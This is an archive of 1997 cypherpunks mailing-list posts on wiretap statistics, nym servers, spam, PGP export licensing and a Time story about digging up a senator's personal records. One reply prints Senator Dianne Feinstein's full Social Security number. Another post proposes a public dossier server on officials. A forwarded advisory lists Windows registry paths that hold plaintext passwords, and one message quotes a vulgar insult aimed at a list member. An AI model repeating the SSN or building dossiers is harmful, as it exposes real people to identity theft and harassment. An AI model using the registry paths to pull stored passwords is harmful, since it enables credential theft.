administrators yet, so don't know anything for sure.

I just wanted to get the word out that we have no intention of
shutting down nym.alias.net.  The machine is still up and running, and
will be useable as soon as domain name service is restored.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Thu, 29 May 1997 03:40:53 +0800
To: cypherpunks@cyberpass.net
Subject: 1996 Wiretap Report
Message-ID: <199705281840.LAA18489@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


I've been enjoying the 1996 Wiretap report.  A couple of my favorite
observations are:

(1) Of the 1149 intercept applications authorized for 1996,  
    821 were for "Narcotics" and 114 were for "Gambling".  
    I.e., 81% of the authorized intercepts were targeted at good old
    fashioned entrepreneurs.

(2) In the past 11 years (1986 - 1996) a total of 9,912 intercept
    applications were approved.  Of that number 5 (five!) were for
    "Arson, explosives, and weapons."  Unless they've classified wiretaps
    against "suspected terrorists" in the "Other" category, it looks
    as if the LEOs don't think (targeted) wiretaps are useful for stopping
    small groups of modestly skilled people bent on blowing things up. No Shit.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 29 May 1997 00:10:06 +0800
To: cypherpunks@toad.com
Subject: Re: Nym Servers
In-Reply-To: <199705280120.DAA24921@basement.replay.com>
Message-ID: <Pine.SUN.3.96.970528113827.15372A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 28 May 1997, Anonymous wrote:

> However, the prices have changed since I brought up the idea
> a month ago.  At the time, they had auto-responders with POP mail -
> - - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
> Now, however, they offer autoresponders for 3/$99 for three years,
> with no mention of POP mail or forwarding - I don't know if they've
> dropped the service (in favor of web hosting at $25/month),
> or if it's still there and just not advertised.  (Of course,
> there's still the moral dilemma that even $99 is $99 in Spamford's pocket :-)

Not to mention the fact that this bitch will grab any email addresses
(including your own) that pass through those accounts and use them for his
own spamming purposes.  Don't do it, it's not worth it, not just for the
money going to a shit eating weasel, but for the principle of the thing -
you'd cause the spamming of everyone using it or communicating with it. 

If you get a web site with them, they'd grab all the email addresses from
the surfers' browsers.  Hell, you might as well get an account on
nsa.gov while you're at it.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 03:13:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Nym Servers & cyberpromo
Message-ID: <199705281850.LAA18158@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Clever Computers (http://www.clever.net) is worth a look.  More expensive
than what's been mentioned so far, but not extraordinarily so.  They're
pretty flexible and I suspect that the sysadmins would be discreetly
sympathetic to the cause.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 29 May 1997 05:50:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [NTSEC] Plaintext passwords exist in registry (fwd)
In-Reply-To: <Pine.SUN.3.96.970528164543.15372E-100000@beast.brainlink.com>
Message-ID: <v03102800afb253d24bb0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:45 PM -0400 5/28/97, Ray Arachelian wrote:

>---------- Forwarded message ----------
>Date: Wed, 28 May 1997 09:17:53 -0700
>From: Bill Stout <stoutb@pios.com>
>To: PHILIPB@Omnicell.com, chris@auditek.com, ntsecurity@iss.net
>Subject: [NTSEC] Plaintext passwords exist in registry
>
>Most facinating what you find if you look.
>
>The registry does store some passwords in plain text.  The importance of the

I found mine as well:

http://nsa.gov/secure/national-key-recovery-infrastructure/citizens/m/may-timoth
y-c


I had hope that the mandatory voluntary key recovery infrastructure,
mandated by the Secure and Safe Net Act of 1997, would have taken better
care not to place my key in such a visible place.

Jeesh. But our government must know what it's doing, right?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 29 May 1997 07:39:08 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Time Magazine: "No Privacy on the Web" (6/2/97)
In-Reply-To: <v0300781eafb255b4b8c6@[168.161.105.191]>
Message-ID: <v03102800afb2673f0622@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>>Then there's the sidebar with our report on how much info we were able to
>>dig up on Sen. Dianne Feinstein (D-CA), who has introduced legislation that
>>would slow the spread of Social Security Numbers. Yes, we found her SSN,
>>unlisted phone number, and home address, but we had to pay for some of it:

This sort of process should work well for compiling the government related
material for the public Distributed Dossier Server

Those living in SF for some time probably remember Feinstein's running
battle with the operator's of the O'Farrell Theater. a pioneer adult
entertainment establishment.  When mayor Dianne tried to crack down on the
O'Farrell, the owners retailiated by posting her private, unlisted, home
number on their marquis.  Almost as soon as she changed it they were able
to obtain the new number.  As I recall it really got under her skin.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 29 May 1997 04:58:32 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: [NTSEC] Plaintext passwords exist in registry (fwd)
Message-ID: <Pine.SUN.3.96.970528164543.15372E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Wed, 28 May 1997 09:17:53 -0700
From: Bill Stout <stoutb@pios.com>
To: PHILIPB@Omnicell.com, chris@auditek.com, ntsecurity@iss.net
Subject: [NTSEC] Plaintext passwords exist in registry

Most facinating what you find if you look. 

The registry does store some passwords in plain text.  The importance of the
passwords you do find depends on your installation.  I found 'password' and
'username' entries at the below locations, but not much software was
installed on these NT boxes.  Searching the NT registry for my password
string did not did not display anything, searching the W95 registry for my
specific password string found it in many places:

password locations:
hkey_local_machine\system\controlset001\services\gophersvc\parameters
                      ...\controlset002\"
                      ...\curentcontrolset\"
                                             ...\msftpsvc\parameters
                                             ...\w3svc\parameters\

username locations:
\hkey+local_machine\software\microsoft\windowsnt\currentversion\winlogon\
                ...\system\controlset001\services\bh\parameters
                      ...\controlset002\"
                      ...\curentcontrolset\"
                ...\services\gophersvc\parameters\anonymouseusername
                                              ...\logsqlusername
                         ...\msftpsvc\parameters\anonymoususername
                                             ...\logsqlusername
                         ...\w3svc\parameters\anonymoususername
                                             ...\logsqlusername


_____________________________________________________________________________
Bill Stout       (Systems Engineer/Consultant)         stoutb@pios.com
Pioneer Standard (Computer Systems & Components)       http://www.pios.com/
San Jose, CA     (Location of 1 of 52 U.S. offices)    (408) 954-9100
*My opinions do not reflect that of the company, and visa-versa, thankfully.*






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0088.myriad.ml.org (Matthew Ghio)
Date: Thu, 29 May 1997 08:23:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [noise] AGIS says "no more spam"? (fwd)
In-Reply-To: <Pine.BSF.3.91.970527182318.9425C-100000@mcfeely.bsfs.org>
Message-ID: <199705290007.RAA14391@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat <wombat@mcfeely.bsfs.org> wrote:
> AGIS, IEMMC Halt Bulk E-Mail
> 
> Dearborn, MI May 27th, 1997: Worldwide Internet access provider AGIS (Apex
> Global Internet Services, Inc.) has challenged all members of the Internet
> E-Mail Marketing Council (IEMMC) to stop originating all bulk e-mail
> through the AGIS network. Under the terms of this agreement, Cyber
> Promotions, Cybertize E-mail, Integrated Media Promotions, ISG, and
> Quantum Communications agreed to cease sending unsolicited commercial
> e-mail (UCE) through the AGIS network until the IEMMC delivers a working
> filtration system and acceptable use policies.


Well, it didn't stop Spamford from finding a new ISP and sending me junk
mail yesterday.

I, for one, wish he would just go back to AGIS, where I can easily block
out 205.199.*.* and ignore all their crap.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 29 May 1997 08:30:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Time Magazine: "No Privacy on the Web" (6/2/97)
In-Reply-To: <v0300781eafb255b4b8c6@[168.161.105.191]>
Message-ID: <5mihc6$2ln@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


You should've asked on cypherpunks.  I found Dianne's SSN for free a
few weeks ago.  It's 567-40-7912.  (No charge -- the first one's free.)

Obtained from <http://www.fulldisclosure.org/abroker.html>.

In article <v0300781eafb255b4b8c6@[168.161.105.191]>,
Declan McCullagh  <declan@well.com> wrote:
> 
> >In this week's Time Magazine (p64-65), you'll find a privacy story that
> >Noah and I worked on:
> >
> >http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.no_privacy_o
> >n
> >.html
> >
> >Then there's the sidebar with our report on how much info we were able to
> >dig up on Sen. Dianne Feinstein (D-CA), who has introduced legislation that
> >would slow the spread of Social Security Numbers. Yes, we found her SSN,
> >unlisted phone number, and home address, but we had to pay for some of it:
> >
> >http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.my_wek.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 29 May 1997 06:04:41 +0800
To: cypherpunks@toad.com
Subject: Time Magazine: "No Privacy on the Web" (6/2/97)
Message-ID: <v0300781eafb255b4b8c6@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



********

>Date: Wed, 28 May 1997 16:17:17 -0400
>To: fight-censorship-announce@vorlon.mit.edu
>From: Declan McCullagh <declan@well.com>
>Subject: FC: Time Magazine: "No Privacy on the Web" (6/2/97)
>Sender: owner-fight-censorship-announce@vorlon.mit.edu
>Reply-To: declan@well.com
>X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
>
>In this week's Time Magazine (p64-65), you'll find a privacy story that
>Noah and I worked on:
>
>http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.no_privacy_o
>n
>.html
>
>Then there's the sidebar with our report on how much info we were able to
>dig up on Sen. Dianne Feinstein (D-CA), who has introduced legislation that
>would slow the spread of Social Security Numbers. Yes, we found her SSN,
>unlisted phone number, and home address, but we had to pay for some of it:
>
>http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.my_wek.html
>
>-Declan
>
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 29 May 1997 06:04:44 +0800
To: cypherpunks@toad.com
Subject: CyberPatrol bans Computer underground Digest
Message-ID: <v0300781fafb255dbc20a@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



*********

>Date: Wed, 28 May 1997 17:14:43 -0400
>To: fight-censorship-announce@vorlon.mit.edu
>From: Declan McCullagh <declan@well.com>
>Subject: FC: CyberPatrol bans Computer underground Digest
>Sender: owner-fight-censorship-announce@vorlon.mit.edu
>Reply-To: declan@well.com
>X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
>
>For as long as I can remember, Northern Illinois University criminal
>justice prof. Jim Thomas has been editing an online newsletter called
>Computer underground Digest. In it, he's chronicled the hacker wars, the
>crypto battles, and the fight over the CDA. It's been an invaluable
>resource to the Net-community. In fact, you'll see a lot of
>fight-censorship posts and articles end up in CuD.
>
>Now it's been blocked by censorware. Jim's offense? According to
>CyberPatrol, he's a "Militant Extremist."
>
>-Declan
>
>**********
>
>Date: Mon, 26 May 1997 22:45:26 -0500 (CDT)
>From: Jim Thomas <jthomas3@sun.soci.niu.edu>
>To: fight-censorship@vorlon.mit.edu
>Subject: CyberPatrol bans CuD  & Crypt Newsletter
>
>On Mon, 26 May 1997, Declan McCullagh wrote:
>
>(quoting from George Smith):
>
>> Huh! Thanks to your page I've just found out Crypt Newsletter is
>> banned by the fine folk at Cyber Patrol for being "militant extremists."
>
>George also forwarded the following to me:
>
>   Jim:
>
>   I suppose you already know this but I just found out Crypt Newsletter
>   and CuD were blocked by CyberPatrol and NetNanny.
>
>   Crypt Newsletter for being Militant/Extreme
>   CuD for being Militant/Extreme/violence/Profanity
>
>Whatever else CuD might be, I'm at a loss to even guess how
>"militant," "extreme," and "violent" characterize it. But, some
>profanity does slip in, especially in legal documents and similar
>resources.
>
>jt
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 29 May 1997 06:12:21 +0800
To: cypherpunks@toad.com
Subject: Re: Re: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970528174211_-1229814197@emout08.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

In a message dated 97-05-28 04:39:24 EDT, you write:

<< Actions such as yours inspire trust in the cryptographic software
 that you write, if it passes the review. >>

Thank-you very much. By the way, I realize that increasing the size of the
encrypted file used for the contest is unnecessary and actually makes
decryption easier in most cases. I'll let everyone @ toad.com know that the
original encrypted message was "cut" and "pasted" over and over again to
increase the final message to 50,000 bytes. So, there's is *decrypted* data
repetition. (I know, it's was a stupid thing to do, but I believe in
VSA2048's security, obviously.) However, as you probably have discovered,
none of the *encrypted*  data repeats or show any congruent/linear pattern.
(In fact, there is no pattern whatsoever.)

Also, along with the simple decryption tool, a simple flowchart of VSA2048
will be released that will show that VSA2048 is NOT is as simple as many seem
to think. (No, it's not just a random XOR-er. Take a look at the
VSACMProcessOperation and VSACMInternal functions. If it were simply a random
XOR-er, the data could probably be decrypted in a few days, if even that
long.)

I truly hope that all of the cypherpunks out there are working on cracking
the CRACKIT.DAT file used for the decryption contest or have worked on
decrypting it but just gave up. (Contest details will be posted every now and
then to cypherpunks@toad.com and other crypto-related mailing lists.) I
realize that many of you out there live to take snake-oil crypto off the face
of the planet. Not that it is snake-oil, but take a shot at hacking VSA2048.
(Use your Crays, Delta, UNIXs, sync-ed Pentiums, mainframes, whatever. We
don't care.)

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 29 May 1997 06:10:47 +0800
To: ichudov@algebra.com
Subject: Re: Re: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970528174156_439550795@emout05.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

In a message dated 97-05-28 04:39:24 EDT, you write:

<< Actions such as yours inspire trust in the cryptographic software
 that you write, if it passes the review. >>

Thank-you very much. By the way, I realize that increasing the size of the
encrypted file used for the contest is unnecessary and actually makes
decryption easier in most cases. I'll let everyone @ toad.com know that the
original encrypted message was "cut" and "pasted" over and over again to
increase the final message to 50,000 bytes. So, there's is *decrypted* data
repetition. (I know, it's was a stupid thing to do, but I believe in
VSA2048's security, obviously.) However, as you probably have discovered,
none of the *encrypted*  data repeats or show any congruent/linear pattern.
(In fact, there is no pattern whatsoever.)

Also, along with the simple decryption tool, a simple flowchart of VSA2048
will be released that will show that VSA2048 is NOT is as simple as many seem
to think. (No, it's not just a random XOR-er. Take a look at the
VSACMProcessOperation and VSACMInternal functions. If it were simply a random
XOR-er, the data could probably be decrypted in a few days, if even that
long.)

I truly hope that all of the cypherpunks out there are working on cracking
the CRACKIT.DAT file used for the decryption contest or have worked on
decrypting it but just gave up. (Contest details will be posted every now and
then to cypherpunks@toad.com and other crypto-related mailing lists.) I
realize that many of you out there live to take snake-oil crypto off the face
of the planet. Not that it is snake-oil, but take a shot at hacking VSA2048.
(Use your Crays, Delta, UNIXs, sync-ed Pentiums, mainframes, whatever. We
don't care.)

Regards,

DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mbm <mbm@autobahn.mb.ca>
Date: Thu, 29 May 1997 07:58:34 +0800
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <338CC107.432D@autobahn.mb.ca>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 29 May 1997 11:09:08 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: SSZ status
In-Reply-To: <199705290144.UAA00965@einstein.ssz.com>
Message-ID: <3.0.2.32.19970528195709.03d23620@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:39 PM 5/28/97 -0500, Igor Chudov @ home wrote:
>Jim Choate wrote:
>> 
>> SSZ seems to be stable since the power was restored where my ISP was
>> located. There should be no further service interruptions expected.
>> 
>
>It is hard to imagine a natural disaster that would ever bring the
>cypherpunks network down!

Supernova? ]:>


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 29 May 1997 11:14:57 +0800
To: cypherpunks@algebra.com
Subject: US grants export license for PGP
Message-ID: <Pine.3.89.9705281914.A17208-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


http://www.news.com/News/Item/0,4,11048,00.html?ticker.ms.ie40


PGP crypto approved for export
By Tim Clark and Alex Lash
May 28, 1997, 7 p.m. PTThe U.S. government has granted an encryption 
export license to one of the biggest thorns in its side.
Pretty Good Privacy says it has won approval to export strong encryption 
technology overseas. The license allows PGP to export technology up to 
128 bits; the government's regular licenses only allow up to 56 bits. To 
date, the government has only approved 128-bit encryption exports for 
technology that protects financial transactions but PGP technology can 
encrypt any kind of digital communication.
PGP was founded by cryptographer Phil Zimmermann. Zimmerman became 
something of a cause celebre when he posted his PGP technology on the Net 
in defiance of laws prohibiting international distribution of encryption 
technology. Zimmermann came close to going to jail before the government 
dropped its case against him.
The company said tonight that it counts more than half of Fortune 100 
companies use its email software.
PGP still has another old foe to worry about. Encryption software giant 
RSA Data Security earlier this month filed a patent infringement lawsuit 
against PGP. The suit alleged that PGP is unlawfully using RSA technology 
licensed to Lemcom before its merger with PGP in 1996. PGP officials say 
RSA's claims are without merit.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 29 May 1997 10:26:26 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ status
Message-ID: <199705290144.UAA00965@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

SSZ seems to be stable since the power was restored where my ISP was
located. There should be no further service interruptions expected.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 29 May 1997 12:40:40 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <3.0.2.32.19970528212753.006f6f5c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:04 PM 5/28/97 -0500, Igor Chudov @ home wrote:
>I have a question.
>
>Does it mean that a person can take a diskette with PGP and PGP keys
>with him or her for an overseas trip?

That has been legal for some time now. You are supposed to file a report,
though.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 29 May 1997 10:55:03 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: SSZ status
In-Reply-To: <199705290144.UAA00965@einstein.ssz.com>
Message-ID: <199705290239.VAA03053@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> SSZ seems to be stable since the power was restored where my ISP was
> located. There should be no further service interruptions expected.
> 

It is hard to imagine a natural disaster that would ever bring the
cypherpunks network down!

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 29 May 1997 11:17:54 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <199705290304.WAA03368@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


I have a question.

Does it mean that a person can take a diskette with PGP and PGP keys
with him or her for an overseas trip?

igor

Lucky Green wrote:
> 
> http://www.news.com/News/Item/0,4,11048,00.html?ticker.ms.ie40
> 
> 
> PGP crypto approved for export
> By Tim Clark and Alex Lash
> May 28, 1997, 7 p.m. PTThe U.S. government has granted an encryption 
> export license to one of the biggest thorns in its side.
> Pretty Good Privacy says it has won approval to export strong encryption 
> technology overseas. The license allows PGP to export technology up to 
> 128 bits; the government's regular licenses only allow up to 56 bits. To 
> date, the government has only approved 128-bit encryption exports for 
> technology that protects financial transactions but PGP technology can 
> encrypt any kind of digital communication.
> PGP was founded by cryptographer Phil Zimmermann. Zimmerman became 
> something of a cause celebre when he posted his PGP technology on the Net 
> in defiance of laws prohibiting international distribution of encryption 
> technology. Zimmermann came close to going to jail before the government 
> dropped its case against him.
> The company said tonight that it counts more than half of Fortune 100 
> companies use its email software.
> PGP still has another old foe to worry about. Encryption software giant 
> RSA Data Security earlier this month filed a patent infringement lawsuit 
> against PGP. The suit alleged that PGP is unlawfully using RSA technology 
> licensed to Lemcom before its merger with PGP in 1996. PGP officials say 
> RSA's claims are without merit.
> 
> 
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 29 May 1997 13:33:50 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: PRNG
In-Reply-To: <199705280536.WAA28197@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970528231529.90840A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 27 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[unt] Mayonnaise carries a turd in his wallet for identification 
> purposes.
> 
>       /_/\/\
>       \_\  / Tim C[unt] Mayonnaise
>       /_/  \
>       \_\/\ \
>          \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Date: Thu, 29 May 1997 12:31:26 +0800
To: Cypherpunks Mailing List <cypherpunks@cyberpass.net>
Subject: Interesting Web Site for Data Protection
Message-ID: <Pine.ULT.3.95.970528231414.21442A-100000@krypton.mankato.msus.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I happened across this web site today.  I was kind of impressed with its
innovative approach, although I doubt I'd need these services.

http://www.atrieva.com/

Just FYI, in no way an endorsement or anything.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 2.2

iQCVAwUBM4zm+TokqlyVGmCFAQEnxwQAh/GfjR4lGi2rzFiJCj2dgpWtbYbXhf2O
7yAGdWt9d819xhOlLC7Zmcq3QS7WJhJOYuGyPEYZRX5hCR8cgoBo9cul9+tFyvVZ
KfQCUUV/rCVPEYBzLyDYrbPT8/IGbCGogvSqKKVlVKHGM8yscdf5Z/aC+nyEUGd4
WsivjiDVzMg=
=XqwC
-----END PGP SIGNATURE-----
 
Robert A. Hayden              hayden@krypton.mankato.msus.edu   __
         -=-=-=-=-=-                              -=-=-=-=-=-   \/_
         http://krypton.mankato.msus.edu/~hayden/Welcome.html    \/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 29 May 1997 11:38:26 +0800
To: cypherpunks@toad.com
Subject: motherboards with multiple CPUs
Message-ID: <199705290318.XAA27475@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


I am looking for a place to purchase a motherboard with several cpu
slots and a lot of memory. does any one know where one can find a good deal?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 29 May 1997 12:43:17 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: US grants export license for PGP
In-Reply-To: <3.0.2.32.19970528212753.006f6f5c@netcom13.netcom.com>
Message-ID: <199705290429.XAA04042@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote:
> 
> At 10:04 PM 5/28/97 -0500, Igor Chudov @ home wrote:
> >I have a question.
> >
> >Does it mean that a person can take a diskette with PGP and PGP keys
> >with him or her for an overseas trip?
> 
> That has been legal for some time now. You are supposed to file a report,
> though.

Interesting. What is that report?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Thu, 29 May 1997 12:18:24 +0800
To: shamrock@netcom.com>
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <338D010D.379F@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Does this mean PGP now, or soon will, supports GAK/Key Recovery?
Or is their something the article isn't saying?
sorrin
-- 
A picture tells a thousand words.
		Stego


     -----BEGIN GEEK CODE BLOCK-----
     Version: 3.1
     GCS/IT/S d--() s+: a-- C++++(++)$ ULS+++@ P++@ L+(++)$ E- W+(+++)$
     N++$ !o K-? w++(+++)$ !O+>++ !M !V PS+(+++)@ PE(++)@ Y++$ PGP@ t+@
     5++@ X++>$ R+++>$ tv+@ b+@ DI+++>$ D+++@>$ G@ e++@>++++ h r* y+ 
     ------END GEEK CODE BLOCK------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joey Grasty <jgrasty@gate.net>
Date: Thu, 29 May 1997 12:37:52 +0800
To: Lucky Green <cypherpunks@algebra.com
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <3.0.1.32.19970529002341.006ac818@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain


At 08:00 PM 5/28/97 -0700, Lucky Green wrote:
>http://www.news.com/News/Item/0,4,11048,00.html?ticker.ms.ie40
>
>
>PGP crypto approved for export

Alright, what's the catch?  What kind of GAK does PGP have to
stick in to get this approval?  Encyphering minds want to know...

Regards,


--
Joey Grasty
jgrasty@gate.net [home -- encryption, privacy, RKBA and other hopeless causes]
"America is at that awkward stage. It is too late to work within the system, but
too early to shoot the bastards." -- Claire Wolfe
http://www.cyberpass.net/~winsock/
PGP (1536 bit) = 87 42 C9 FC 4F 8C 14 5D  31 A9 90 36 C4 F4 90 D9
PGP (768 bit) = A7 CC 31 E4 7E A3 36 13  93 F4 C9 06 89 51 F5 A7





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rui Guedes <RuiGuedes@mail.EUnet.pt>
